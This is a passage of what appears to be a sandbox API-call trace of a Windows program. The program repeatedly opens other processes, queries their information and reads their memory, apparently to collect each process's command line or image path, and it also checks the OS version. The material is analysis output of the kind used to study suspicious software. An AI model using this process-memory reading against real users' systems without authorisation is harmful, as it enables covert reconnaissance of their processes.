ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4913e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.318] malloc (_Size=0xbc) returned 0x196ef0d4e70 [0274.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d4e70, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0274.319] free (_Block=0x196ef0d4e70) [0274.320] CloseHandle (hObject=0x464) returned 1 [0274.321] _ui64tow_s (in: _Value=0x1120, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0274.370] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4384") returned 4 [0274.372] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.372] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.390] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x464 [0274.391] GetLastError () returned 0x0 [0274.391] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.391] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.391] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.393] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.395] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.395] malloc (_Size=0x76) returned 0x196ef0d2120 [0274.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0274.396] free (_Block=0x196ef0d2120) [0274.397] CloseHandle (hObject=0x464) returned 1 [0274.397] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0274.420] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="5084") returned 4 [0274.422] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.422] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0274.453] CloseHandle (hObject=0x0) returned 0 [0274.454] _ui64tow_s (in: _Value=0x1334, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0274.462] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4916") returned 4 [0274.464] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.464] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.530] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x464 [0274.531] GetLastError () returned 0x0 [0274.531] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.532] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.532] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.532] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.532] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618c8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.534] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.537] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.537] malloc (_Size=0x78) returned 0x196ef0d2120 [0274.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0274.538] free (_Block=0x196ef0d2120) [0274.539] CloseHandle (hObject=0x464) returned 1 [0274.540] _ui64tow_s (in: _Value=0xac8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0274.564] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2760") returned 4 [0274.566] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.566] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.653] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x464 [0274.653] GetLastError () returned 0x0 [0274.654] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.656] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.659] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.659] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.659] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.659] malloc (_Size=0x48) returned 0x196ef0fb950 [0274.659] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46190e, lpBuffer=0x196ef0fb950, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb950*, lpNumberOfBytesRead=0x0) returned 1 [0274.660] free (_Block=0x196ef0fb950) [0274.661] CloseHandle (hObject=0x464) returned 1 [0274.662] _ui64tow_s (in: _Value=0x1344, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0274.669] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4932") returned 4 [0274.672] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.672] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.718] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x464 [0274.718] GetLastError () returned 0x0 [0274.719] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.719] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.719] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.719] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181c40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.720] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1818c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.722] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.724] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1812b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.724] malloc (_Size=0x42) returned 0x196ef0fb6d0 [0274.725] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181908, lpBuffer=0x196ef0fb6d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb6d0*, lpNumberOfBytesRead=0x0) returned 1 [0274.726] free (_Block=0x196ef0fb6d0) [0274.727] CloseHandle (hObject=0x464) returned 1 [0274.727] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0274.734] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="996") returned 3 [0274.736] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.736] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x464 [0274.780] GetLastError () returned 0x0 [0274.780] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.780] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b18c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.783] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.785] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.785] malloc (_Size=0x9c) returned 0x196ef0d6fc0 [0274.786] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0d6fc0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6fc0*, lpNumberOfBytesRead=0x0) returned 1 [0274.786] free (_Block=0x196ef0d6fc0) [0274.787] CloseHandle (hObject=0x464) returned 1 [0274.788] _ui64tow_s (in: _Value=0xc10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0274.795] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3088") returned 4 [0274.797] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.797] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x464 [0274.838] GetLastError () returned 0x0 [0274.838] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.838] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.838] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.838] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f1c20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18c8, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.840] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.842] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.842] malloc (_Size=0x38) returned 0x196ef0d12d0 [0274.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d12d0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d12d0*, lpNumberOfBytesRead=0x0) returned 1 [0274.843] free (_Block=0x196ef0d12d0) [0274.844] CloseHandle (hObject=0x464) returned 1 [0274.845] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0274.850] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3132") returned 4 [0274.851] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.851] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.871] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x464 [0274.871] GetLastError () returned 0x0 [0274.872] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x911d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9118c8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.878] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.879] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.879] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.879] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.880] malloc (_Size=0x88) returned 0x196ef0fa7b0 [0274.880] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x91194a, lpBuffer=0x196ef0fa7b0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.880] free (_Block=0x196ef0fa7b0) [0274.881] CloseHandle (hObject=0x464) returned 1 [0274.882] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0274.887] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3180") returned 4 [0274.889] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.889] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x464 [0274.914] GetLastError () returned 0x0 [0274.915] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 